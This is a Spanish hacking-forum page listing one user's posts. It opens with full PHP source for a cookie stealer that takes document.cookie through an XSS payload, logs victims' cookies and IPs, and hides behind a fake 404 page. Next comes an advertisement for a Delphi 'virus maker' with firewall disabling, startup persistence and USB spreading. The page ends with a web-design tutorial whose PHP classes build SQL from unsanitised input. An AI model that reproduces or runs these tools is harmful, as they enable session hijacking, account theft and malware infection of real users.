Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#81
Back-end / [PHP] CookieManager 0.5
Febrero 06, 2015, 02:10:03 PM
Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

    Un video con ejemplos de uso :



    El codigo :

    Código: php

    <?php

    // CookieManager 0.5
    // (C) Doddy Hackman 2015

    //Datos para el login

    $username = "admin";
    $password = "21232f297a57a5a743894a0e4a801fc3"; //admin

    //

    //Datos para la DB

    $host  = "localhost";
    $userw = "root";
    $passw = "";
    $db    = "cookies";

    //


    // Functions

    function hex_encode($text)
    {
        $texto = chunk_split(bin2hex($text), 2, '%');
        return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
    }

    function parsear_cookie($leyendo)
    {
       
        $leyendo   = str_replace("comment=", "", $leyendo);
        $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
        $contenido = explode(";", $leyendo);
       
        $nombre       = "";
        $valor_cookie = "";
        $expires      = "";
        $path         = "";
        $domain       = "";
        $secure       = "false";
        $httponly     = "false";
       
        foreach ($contenido as $valor) {
           
            if (preg_match("/expires=(.*)/", $valor, $regex)) {
                $expires = $regex[1];
            }
           
            elseif (preg_match("/path=(.*)/", $valor, $regex)) {
                $path = $regex[1];
            } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
                $domain = $regex[1];
            } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
                $secure = $regex[1];
            } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
                $httponly = $regex[1];
            }
           
            else {
               
                if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
                    $nombre       = $regex[1];
                    $valor_cookie = $regex[2];
                }
               
            }
           
        }
       
        return array(
            $nombre,
            $valor_cookie,
            $expires,
            $path,
            $domain,
            $secure,
            $httponly
        );
       
    }

    function ver_cookies_de_pagina($pagina)
    {
        $cookies = "";
        if (!function_exists('curl_exec')) {
            $options = array(
                'http' => array(
                    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                )
            );
            $context = stream_context_create($options);
            file_get_contents($pagina);
            foreach ($http_response_header as $valores) {
                if (preg_match("/Set-Cookie/", $valores)) {
                    $valores = str_replace("Set-Cookie:", "", $valores);
                    $cookies = $cookies . $valores . "<br>";
                }
            }
        } else {
            $nave = curl_init($pagina);
            curl_setopt($nave, CURLOPT_TIMEOUT, 5);
            curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
            curl_setopt($nave, CURLOPT_HEADER, 1);
            curl_setopt($nave, CURLOPT_NOBODY, 1);
            $contenido = curl_exec($nave);
            curl_close($nave);
            $leyendo = explode("\n", trim($contenido));
           
            foreach ($leyendo as $valores) {
                if (preg_match("/Set-Cookie/", $valores)) {
                    $valores = str_replace("Set-Cookie:", "", $valores);
                    $cookies = $cookies . $valores . "<br>";
                }
            }
        }
        return $cookies;
    }

    function toma($target)
    {
        $code = "";
        if (function_exists('curl_exec')) {
            $nave = curl_init($target);
            curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
            curl_setopt($nave, CURLOPT_TIMEOUT, 5);
            curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
            $code = curl_exec($nave);
        } else {
            $options = array(
                'http' => array(
                    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                )
            );
            $context = stream_context_create($options);
            $code    = file_get_contents($target);
        }
        return $code;
    }

    //

    error_reporting(0);

    mysql_connect($host, $userw, $passw);
    mysql_select_db($db);

    if (isset($_GET['id'])) {
       
        if (empty($_GET['id'])) {
            error();
        }
       
        $dia = mysql_real_escape_string(date("d.m.Y"));
        $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
       
        if ($ip == "::1") {
            $ip = "127.0.0.1";
        }
       
        $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
        $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
       
        $cookie = mysql_real_escape_string($_GET['id']);
       
        mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
       
        header("Location:http://www.google.com.ar");
       
    }

    elseif (isset($_COOKIE['portal'])) {
       
        $st = base64_decode($_COOKIE['portal']);
       
        $plit = explode("@", $st);
        $user = $plit[0];
        $pass = $plit[1];
       
        if ($user == $username and $pass == $password) {
           
            if (isset($_POST['makecookies'])) {
                //setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) {
               
                if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
                    echo "<script>alert('Cookies Maked');</script>";
                } else {
                    echo "<script>alert('Error making Cookie');</script>";
                }
            }
           
            echo "<title>CookieManager 0.3</title>";
           
            echo "<STYLE type=text/css>

    body,a:link {
    background-color: #000000;
    color:orange;
    Courier New;
    cursor:crosshair;
    font-size: small;
    }

    input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
    font: normal 10px Verdana, Arial, Helvetica,
    sans-serif;
    background-color:black;
    color:orange;
    border: solid 1px orange;
    border-color:orange
    }

    a:link,a:visited,a:active {
    color: orange;
    font: normal 10px Verdana, Arial, Helvetica,
    sans-serif;
    text-decoration: none;
    }

    </style>
    ";
           
            $edit_name       = "";
            $edit_value      = "";
            $edit_expire     = "";
            $edit_path       = "";
            $edit_domain     = "";
            $edit_secure     = "";
            $edit_httponline = "";
           
            if (isset($_POST['instalar'])) {
               
                $todo = "create table todo (
    id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    fecha TEXT NOT NULL,
    ip TEXT NOT NULL,
    info TEXT NOT NULL,
    cookie TEXT NOT NULL,
    PRIMARY KEY (id));
    ";
               
                if (mysql_query($todo)) {
                    echo "<script>alert('Installed');</script>";
                } else {
                    echo "<script>alert('Error');</script>";
                }
            }
           
            if (mysql_num_rows(mysql_query("show tables like 'todo'"))) {
               
                //
               
                if (isset($_GET['del'])) {
                    if (is_numeric($_GET['del'])) {
                        if (@mysql_query("delete from todo where id='" . $_GET['del'] . "'")) {
                            echo "<script>alert('Deleted');</script>";
                        } else {
                            echo "<script>alert('Error');</script>";
                        }
                    }
                }
               
                echo "<center>";
                echo "<br><h1>CookieManager</h1><br>";
               
               
                // Cookies Found
               
               
                $re  = mysql_query("select * from todo order by id ASC");
                $con = mysql_num_rows($re);
               
                if ($con == 0) {
                    echo "<script>alert('Cookies not found');</script>";
                } else {
                   
                    echo "<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>";
                    echo "<table border=1 width=1100>";
                    echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
                   
                    while ($ver = mysql_fetch_array($re)) {
                        $cookies_view = $ver[4];
                        list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
                       
                        echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
                        echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Del</a></td><tr>";
                       
                    }
                   
                    echo "</table>";
                   
                }
               
                //
               
                // Form para target
               
                echo "
    <form action='' method=POST>
    <center><br><table border=1>
    <td><center><h2>Enter Target</h2></center></td><tr>
    <td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
    <td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
    </table></center>
    </form>

    ";
               
                // URLS
               
                if (isset($_POST['generateurl'])) {
                    echo "<br><table border=1>
    <td><center><h2>URL Generated</h2></center></td><tr>
    <td><textarea cols=50 name=code readonly>\n";
                    $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
                    //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
                    $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
                    echo htmlentities($resultado_code);
                    echo "\n</textarea></td></table>";
                }
                //
               
                // Get Cookies
               
                if (isset($_POST['getcookies'])) {
                    echo "<br><table border=1>
    <td><center><h2>Console</h2></center></td><tr>
    <td><textarea cols=50 rows=10 name=code readonly>\n";
                    $resultado_code = ver_cookies_de_pagina($_POST['target']);
                    echo htmlentities($resultado_code);
                    echo "\n</textarea></td></table>";
                   
                    $leyendo_esto = split("\n", $resultado_code);
                   
                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
                   
                    $edit_name       = $nombre;
                    $edit_value      = $valor_cookie;
                    $edit_expire     = $expires;
                    $edit_path       = $path;
                    $edit_domain     = $domain;
                    $edit_secure     = $secure;
                    $edit_httponline = $httponly;
                   
                }
               
                //
               
                // Form para crear cookies
               
                echo "
    <form action='' method=POST>
    <center><br><table border=1>
    <td><center><h2>Cookies Maker</h2></center></td><tr>
    <td>Name : <input type=text size=50 name=name_cookie value='$edit_name'=></td><tr>
    <td>Value : <input type=text size=50 name=value_cookie value='$edit_value'=></td><tr>
    <td>Expires : <input type=text size=50 name=expire_cookie value='$edit_expire'=></td><tr>
    <td>Path : <input type=text size=50 name=path_cookie value='$edit_path'=></td><tr>
    <td>Domain : <input type=text size=50 name=domain_cookie value='$edit_domain'=></td><tr>
    <td>Secure : <input type=text size=50 name=secure_cookie value='$edit_secure'=></td><tr>
    <td>HTTP Online : <input type=text size=50 name=httponline_cookie value='$edit_httponline'=></td><tr>
    <td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td>
    </table></center>
    </form>";
               
                //
               
                //
               
                echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>";
               
                //
               
            } else {
                echo "
    <center><br><br>
    <form action='' method=POST>
    <h2>Deseas instalar CookieManager ?</h2><br><br>
    <input type=submit name=instalar value=Instalar>
    </form>";
            }
            exit(1);
        }
    } elseif (isset($_POST['login'])) {
        if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
            setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
            echo "<script>alert('Welcome idiot');</script>";
            echo '<meta http-equiv="refresh" content=0;URL=>';
        } else {
            echo "<script>alert('Continued to participate');</script>";
        }
    } elseif (isset($_GET['poraca'])) {
       
        echo "

    <STYLE type='text/css'>

    body,input {
    background-color: #000000;
    color:orange;
    font-family:
    Courier New;
    cursor:crosshair;
    font-size: small;
    }
    </style>

    <h1><br><center><font color=green>Login</font></center></h1>
    <br><br><center>
    <form action='' method=POST>
    Username : <input type=text name=user><br>
    Password : <input type=password name=password><br><br>
    <input type=submit name=login value=Enter><br>
    </form>
    </center><br><br>";
    } else {
       
        error();
       
    }

    function error()
    {
        echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    </body></html>';
        exit(1);
    }


    mysql_close();

    // The End ?


    ?>


    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#82
Delphi / [Delphi] DH Virus Maker 0.3
Enero 30, 2015, 12:04:05 PM
Hola , esta vez les traigo un generador de virus que hice en Delphi con las siguientes opciones :

  • Desactivar Firewall
  • Apagar
  • Reiniciar
  • Cerrar sesion
  • Cambiar el texto de la taskbar
  • Ejecutar comandos
  • Desactivar regedit
  • Ocultar taskbar
  • Ocultar iconos
  • Volver loca la hora
  • Cargar cada vez que inicia Windows
  • Abrir lectora
  • Enviar pulsaciones de teclado con SendKeys
  • Matar proceso por PID
  • Cargar Word y hacer que escriba solo
  • Volver loco al mouse
  • Enviar mensajes con msgbox
  • Desactivar Taskmgr
  • Apagar el monitor
  • Realizar ruidos con Beep
  • USB Spread

    Incluye antidoto para las siguientes opciones :

  • Activar Firewall
  • Mostrar taskbar
  • Activar taskmgr
  • Borrar los rastros de USB Spread
  • Activar regedit
  • Borrar el startup creado
  • Restaurar el texto del taskbar

    Una imagen :



    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#83
[Titulo] : Creacion de una pagina con BD
[Autor] : Doddy Hackman

[Temario]

--========================================================--

0x00 : Introduccion
0x01 : Creacion del diseño de la pagina
0x02 : Creacion un un logo estilo GTA
0x03 : Creacion de un footer animado
0x04 : Creacion de botones en Fireworks
0x05 : Creacion de un menu desplegable
0x06 : Creacion un panel de administracion

--========================================================--

0x00 : Introduccion

En este manual vamos a ver como hacer una pagina web en PHP que tengo un sistema de noticias y un panel de administracion y para poder entender este manual necesitan conocer HTML,CSS y PHP por lo menos de forma basica para entender su contenido y tambien necesitan los siguientes programas :

* Adobe Dreamweaver
* Adobe Photoshop
* Adobe Fireworks
* XAMPP O Easy PHP
* Anim-FX
* GifCam
* Un pack de imagenes que pueden descargar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que contiene los fondos que necesitan en el manual y los ultimos dos programas

Cuando descarguen el pack copian los datos a una carpeta llamada "images" para usar durante el manual.

0x01 : Creacion del diseño de la pagina

Ahora vamos a hacer un diseño como este :



Para eso vamos a tener que seguir los siguientes pasos :

Descargamos el pack que esta en la seccion de "Requisitos" que contiene las imagenes necesarias para hacer la pagina de ejemplo.

Iniciamos el Dreamweaver y creamos una nueva pagina como PHP , una vez creado guardamos el proyecto con formato PHP , el directorio puede ser cualquiera.

Despues copiamos en el directorio de la pagina la carpeta "images" del pack en el directorio que eligieron para guardar la pagina.

Ahora cambiamos volvemos a Dreamweaver y cambiamos el titulo de la pagina "Documento sin título" por "Plantilla".

Despues agregamos <center> entre el inicio y final del <body> para centrar la pagina.

Ahora nos vamos a "Insertar -> Objectos de diseño -> Etiqueta DIV" y despues ponemos como nombre de clase "container" y le damos a "Nueva regla" , le damos al boton "aceptar" a la ventana que se nos aparece , como es la primera vez que usamos un div nos va a preguntar con que nombre guardamos el css , entonces ponganle "style.css" y guarden , despues de eso nos va a aparecer una ventana nueva , en esa ventana nos vamos a la categoria "Cuadro" y ponemos las dimensiones 1050x768 , 1050 de ancho y 768 de largo , le damos al boton "aceptar" y de nuevo aceptar a la ventana que se nos aparece , despues borren el texto por defecto del container.

Todo como en las imagenes :











Para crear el banner hagan los mismos pasos pero ponganle de nombre "banner" y las dimensiones "1024x100" , ponganle 3 px de margen a todos y de relleno pongan los valores "5,10,5,10" seguidos , tambien pongan la opcion "flotar" en alineacion izquierda.

Como en la imagen :



* Cambien el texto por defecto por "Banner"

Ahora para crear el contenido vamos a crear otro div con el nombre de "box" con las dimensiones 1024x500 , ponganle 3 px de margen a todos y de relleno tambien 5,10,5,10 , tambien pongan alineacion izquierda.

Como en la imagen :



* Borren el texto por defecto

Despues de insertar el box vamos a agregar otro div que sera el primer menu de categorias o lo que sea , de nombre pongan "menu" y tendra las dimensiones 200x500 , alineacion izquierda , margen 3 a todo y de relleno pongan 5,10,5,10

Como en la imagen :



* Cambien el texto por defecto por "Menu"

Ahora para crear lo mas importante que es el body vamos a tener que crear otro div nuevo con el nombre de "body" con las dimensiones 566x500 , alineacion izquierda , margen 3 a todo , y de relleno solo pongan el primero que seria 5 los demas lo dejan en blanco.

Como en la imagen :



* Cambien el texto por defecto por "Body"

Ahora para crear la parte de afiliados vamos a crear otro div con el nombre de "otromenu" , las dimensiones serian de 200x500 , alineacion izquierda , margen 3 para todo y de relleno 5,10,5,10

Como en la imagen :



* Cambien el texto por defecto por "OtroMenu"

Despues de eso ahora vamos al div final que es el footer , entonces creamos otro div con el nombre de "footer" con las dimensiones 1024x100 , margen 3 a todos menos al inferior que sera 10 , como relleno ponemos 5,10,5,10 y tambien le ponemos alineacion izquierda.

Como en la imagen :



* Cambien el texto por defecto por "Footer"

Ahora comenzamos con el codigo CSS , primero vamos a la pestaña de style.css y en la parte del codigo cambien en las etiquetas banner,box,menu,body,otromenu y footer el "height" por "min-height" esto nos va a ayudar que cuando el texto sobrepase el div , el div se alargara.

Despues agregamos el siguiente codigo al archivo CSS para poner una imagen de fondo :

Código: html5

body {
background:transparent url("images/fondo1.jpg") repeat scroll 0 0;
color:white;
font-family:helvetica,arial,sans-serif;
font-size:14px;
text-align:center;
}


En las etiquetas banner,box,footer agreguen el siguiente codigo para darle bordes a los div y una imagen de fondo :

Código: html5

background-image:url("images/fondo2.jpg");
background-color:#000;
border: 3px dashed #00FFFF;


Si hacemos F12 para ver como nos queda la pagina se nos deberia ver algo asi en el navegador :



Ahora agregamos el siguiente codigo al archivo CSS , para poder agregar el cuadro en el que estaran las categorias,posts y los afiliados :

Código: html5

.categorias {
color:white;
border: 3px dashed #00FFFF;
width:200px;
word-wrap: break-word;
}

.post {
background-image:url("images/fondo2.jpg");
background-color:#000;
color:white;
border: 3px dashed #00FFFF;
margin-bottom:10px;
width:560px;
word-wrap: break-word;
}



Despues de eso agregamos el siguiente codigo entre las etiquetas "menu" del archivo PHP que vendria a ser las "Categorias" :

Código: html5

<div class="categorias">
<h3>Categorias</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>


Ahora vamos a por los afiliados , vamos a agregar el siguiente codigo entre las etiquetas "otromenu" en el codigo del archivo PHP :

Código: html5

<div class="categorias">
<h3>Afiliados</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>


Despues vamos a agregar el siguiente codigo entre las etiquetas "body" para colocar noticias de ejemplo en el archivo PHP :

Código: html5

<div class="post">
<h3>Noticia1</h3>
<p>Contenido de Noticia1</p>
</div>

<div class="post">
<h3>Noticia2</h3>
<p>Contenido de Noticia2</p>
</div>


<div class="post">
<h3>Noticia3</h3>
<p>Contenido de Noticia3</p>
</div>


<div class="post">
<h3>Noticia4</h3>
<p>Contenido de Noticia4</p>
</div>


<div class="post">
<h3>Noticia5</h3>
<p>Contenido de Noticia5</p>
</div>


<div class="post">
<h3>Noticia6</h3>
<p>Contenido de Noticia6</p>
</div>


Todo el codigo HTML del archivo PHP nos deberia haber quedado algo asi :

Código: html5

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Plantilla</title>
<link href="style.css" rel="stylesheet" type="text/css" />
</head>

<body>
<center>
<div class="container">
  <div class="banner">Banner</div>
  <div class="box">
    <div class="menu">
    <div class="categorias">
<h3>Categorias</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>
    </div>
    <div class="body">
<div class="post">
<h3>Noticia1</h3>
<p>Contenido de Noticia1</p>
</div>

<div class="post">
<h3>Noticia2</h3>
<p>Contenido de Noticia2</p>
</div>


<div class="post">
<h3>Noticia3</h3>
<p>Contenido de Noticia3</p>
</div>


<div class="post">
<h3>Noticia4</h3>
<p>Contenido de Noticia4</p>
</div>


<div class="post">
<h3>Noticia5</h3>
<p>Contenido de Noticia5</p>
</div>


<div class="post">
<h3>Noticia6</h3>
<p>Contenido de Noticia6</p>
</div>
    </div>
    <div class="otromenu">
<div class="categorias">
<h3>Afiliados</h3>
  Link1<br />
  Link2<br />
  Link3<br />
  Link4<br />
  Link5<br />
  Link6<br />
  Link7<br />
  Link8<br />
  Link9<br />
  Link10<br />
  <br />
</div>
    </div>
  </div>
  <div class="footer">Footer</div>
</div>
</center>
</body>
</html>


Si hicieron todo bien la pagina les deberia haber quedado algo como esto :



Eso seria todo por ahora en el diseño.

0x02 : Creacion un logo estilo GTA

Para crear un logo estilo GTA en Photoshop deben instalar primero la fuente necesaria del siguiente No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , para instalar la fuente descargado solo arrastran y copian los archivos del comprimido en el directorio "c:/windows/fonts de Windows" , despues de eso cargamos Photoshop y seguimos los siguiente pasos :

Creamos un proyecto con las dimensiones 995x108 y fondo transparente como en la siguiente imagen :



Una vez creado ponganle de fondo una imagen cualquiera en mi caso recorto una imagen con paint y lo copio en el proyecto quedando algo asi :



Despues hacemos click en la opcion "Texto horizontal" y seleccionamos el tipo de fuente "Pricedown" , tamaño de letra 80 pt y tipo de color #ffffcc , entonces una vez hecho esto agregamos el texto "Probando" con la herramienta "Texto horizontal" seleccionada , todo deberia verse algo asi :



Ahora hacemos click derecho en la capa llamada "PROBANDO" que es el texto creado y hacemos click en "Opciones de Fusion" , entonces activamos el estilo "Trazo" , de tamaño pongan 3 y pongan de color #000000 , entonces hagan click en "OK" y les deberia quedar algo asi :





Ahora tenemos que seleccionar la "Capa 1" para ir despues a "Edicion->Contornear" , ponemos de anchura 8px  y de color #ffffcc , le damos a "OK" y se deberia ver algo asi :





Como detalle final sino les gusta la posicion del texto pueden mover el texto al centro o como mas les guste , en mi caso queda asi :



Para terminar guardamos el proyecto como "png" y volvemos a la plantilla creada con Dream y nos vamos al div "banner" , borramos el texto "Banner" y insertamos el logo creado con Photoshop , para eso nos vamos a "Insertar->Imagen" y ponemos en la ventana que nos abre la ruta de la imagen.

Nos deberia quedar algo asi :



0x03 : Creacion de un footer animado

Cargamos el programa "Anim-FX" y llenamos los campos de la siguiente forma :

Text 1 : TEST 1
2 : TEST 2
3 : TEST 3
4 : TEST 4
5 : TEST 5

Tipo de efecto : flash

Tamaño de letra : 145
Color de letra : El color es celeste claro que vendria a ser 52FEFD

Se les deberia ver algo asi :



Ahora cargamos el GifCam y hacemos click en "Rec" sobre la zona de la animacion que quieren grabar.
Despues de terminar de grabar hacemos click en "Stop" y despues en "Save" para despues grabar el gif donde quieran

Una vez terminado todo nos vamos al proyecto de dream y en el div footer borramos el texto "Footer" y insertamos el gif animado , para eso nos vamos a "Insertar->Imagen" y ponemos en la ventana que nos abre la ruta del gif.

Se les deberia ver algo asi :



Eso seria todo el footer animado.

0x04 : Creacion de botones en Fireworks

Para crear un boton en Fireworks primer cargamos el programa y hacemos click en crear un nuevo "Documento de Fireworks (PNG)" con las dimensiones de 100x50 y de colo de lienzo "transparente".

Les deberia quedar asi :



Una vez hecho esto vamos al cuadro de herramientas y seleccionamos "Rectangulo redondeado" de la herramienta "Rectangulo" que se encuentra en la seccion "Vector".
Ya seleccionado creamos un rectangulo redondeado en la zona de trabajo del color que quieran , para ponerle un estilo primero seleccionen el rectangulo creado y despues seleccionen el estilo que quieran en el cuadro de herramientas derecho llamado "Activos->Estilos" quedando todo asi : 







En mi caso elegi el estilo mas parecido a Tron y desactivo el filtro "Sombra" porque no me gustaba como quedaba , los filtros estan en la parte de abajo del programa y se puede ver cuando estan aplicando el estilo.

Como ven ya tenemos la forma del boton , ahora vamos a ponerle texto , entonces seleccionamos la herramienta "herramienta de texto" para escribir "click" sobre el boton redondeado con el color que quieran , pueden mover el texto de posicion con la "herramienta puntero" si no les gusta como quedo.

Les deberia quedar algo asi , yo en mi caso elegi letra blanca :



Para terminar vamos a "Archivo->Guardar como" y guardamos el boton con el nombre que quieran , el formato que tendra sera de PNG.

Para usarlo en la plantilla que creamos con Dream vamos al div "otromenu" , borramos los links de ejemplo y pongan el siguiente codigo entre los div :

Código: html5

<a href="http://www.petardas.com"><img src="images/click.png"></a><br />


Recuerden que el boton creado tiene que estar en una carpeta llamada images sino nunca se va a encontrar el boton.

Cambien petardas por el link que quieran y cambien click.png por el verdadero nombre y ruta del boton.

En mi caso use tres veces esa linea de codigo como ejemplo.

Les deberia quedar algo asi :





Y en el navegador se deberia ver asi :



Eso seria todo con los botones.

0x05 : Creacion de un menu desplegable

Bueno para hacer esto volvemos a la plantilla inicial con Dream y  borramos los links de ejemplo que estan la seccion de categorias justamente en el div "menu" y agregamos un <br/> antes del </div> y otro despues del <h3> de categorias ,  y para terminar insertamos un menu vertical de la siguiente forma :

Insertar->Spry->Barra de menus de Spry y en la ventana que aparece seleccionamos "Vertical".

Deberiamos ver algo asi :



Primero vamos hacer click en el menu creado y desde ahi cambiar los textos de todos los "elementos" por "test" , cambien tanto en la columna 1 o en la columna 2 si es que se desplega otro menu a partir de ese.

Despues para poner un vinculo solo lo hacen desde la casilla correspondiente que esta abajo de la de "texto" , en mi caso solo voy a poner un link y va a ser en el "test2"

Deberian ver algo asi :



Ahora vamos a tunear el menu con colores raros con las siguientes pasos :

Para empezar seleccionamos el menu vertical y desde la seccion de "Estilos CSS" hacemos click en "Actual" para despues seleccionar y hacer doble click en "border" 



Ahora vamos a la categoria "Borde" , en Estilo seleccionamos "doble" para todos , ancho 3 para todos y de color #2EFEF7 para todos.

Deberia quedar asi :



Despues vamos a "Estilos CSS" y despues a "Todo" para despues desplegar SpryMenuBarVertical.css.

Seleccionamos y hacemos doble click en "ul.MenuBarVertical a" para ir a la categoria "Tipo" y cambiar el color de la letra por celeste claro , ahora nos vamos a la categoria "Fondo" ponemos el color de fondo negro y para terminar ponemos la imagen de fondo "normal.jpg" con la opcion de "no repetir"

Quedando asi :







Ahora hacemos lo mismo con el "ul" que esta abajo del anterior solo que la fuente la dejan como esta y  la imagen de fondo va ser el fondo "hover.jpg" con la opcion de "no repetir".







Como menu final se les deberia ver algo asi :



Eso seria todo en el menu.

0x06 : Creacion un panel de administracion

Para empezar activemos el XAMPP o Easy PHP , despues creen las siguientes clases PHP en el directorio donde esta la pagina :

login_now.php

Código: php

<?php

/*

Class : LoginNow

(c) Doddy Hackman 2015

*/

class LoginNow
{
   
    private $host;
    private $db;
    private $user;
    private $pass;
    private $tabla;
    private $columna1;
    private $columna2;
    private $usereal;
    private $passreal;
    private $campouser;
    private $campopass;
    private $cookiename;
   
    public function campos($campouser, $campopass)
    {
        if (isset($_POST[$campouser])) {
            $this->campouser = $_POST[$campouser];
            $this->campopass = md5($_POST[$campopass]);
        } else {
            $this->campouser = $campouser;
            $this->campopass = $campopass;
        }
    }
   
    public function database($host, $dbuser, $dbpass, $db, $tabla, $columna1, $columna2)
    {
        mysql_connect($host, $dbuser, $dbpass);
        mysql_select_db($db);
        $que = mysql_query("SELECT * FROM " . $tabla);
        while ($test = mysql_fetch_array($que)) {
            if ($this->campouser == $test[$columna1] and $this->campopass == $test[password]) {
                $this->usereal  = $test[$columna1];
                $this->passreal = $test[$columna2];
                return true;
            }
        }
    }
   
    public function secure($user, $pass)
    {
        if ($this->campouser == $user and $this->campopass == $pass) {
            $this->usereal  = $user;
            $this->passreal = $pass;
            return true;
        } else {
            return false;
        }
    }
   
    public function cookienow($cookiename)
    {
        setcookie($cookiename, base64_encode($this->usereal . "@" . $this->passreal));
    }
   
}

?>


noticion.php

Código: php

<?php

/*

PHP Class : Noticion 1.0

(C) Doddy Hackman 2015

*/


class noticion
{
   
    private $db;
   
    public function datos($host, $user, $pass, $db)
    {
       
        $this->db = $db;
       
        if (@mysql_connect($host, $user, $pass)) {
            if (@mysql_select_db($db)) {
                return true;
            }
        }
    }
   
    public function crear_categoria($nuevacategoria)
    {
       
        $todo1 = "create table categoria_$nuevacategoria (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
titulo VARCHAR(255) NOT NULL,
contenido TEXT NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id));
";
       
        $todo2 = "create table comentarios_$nuevacategoria (
id_noticia int(10),
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";
       
        if (@mysql_query($todo1)) {
            if (@mysql_query($todo2)) {
                return true;
            }
        }
       
    }
   
    public function eliminar_categoria($eliminarcategoria)
    {
       
        if (@mysql_query("DROP TABLE categoria_$eliminarcategoria")) {
            if (@mysql_query("DROP TABLE comentarios_$eliminarcategoria")) {
                return true;
            }
           
        }
    }
   
   
    public function eliminar($id, $categoria)
    {
        if (is_numeric($id)) {
            if (@mysql_query("DELETE FROM categoria_$categoria where id='$id'")) {
                return true;
            }
        }
    }
   
    public function nueva_noticia($x_titulo, $x_contenido, $x_fecha, $categoria)
    {
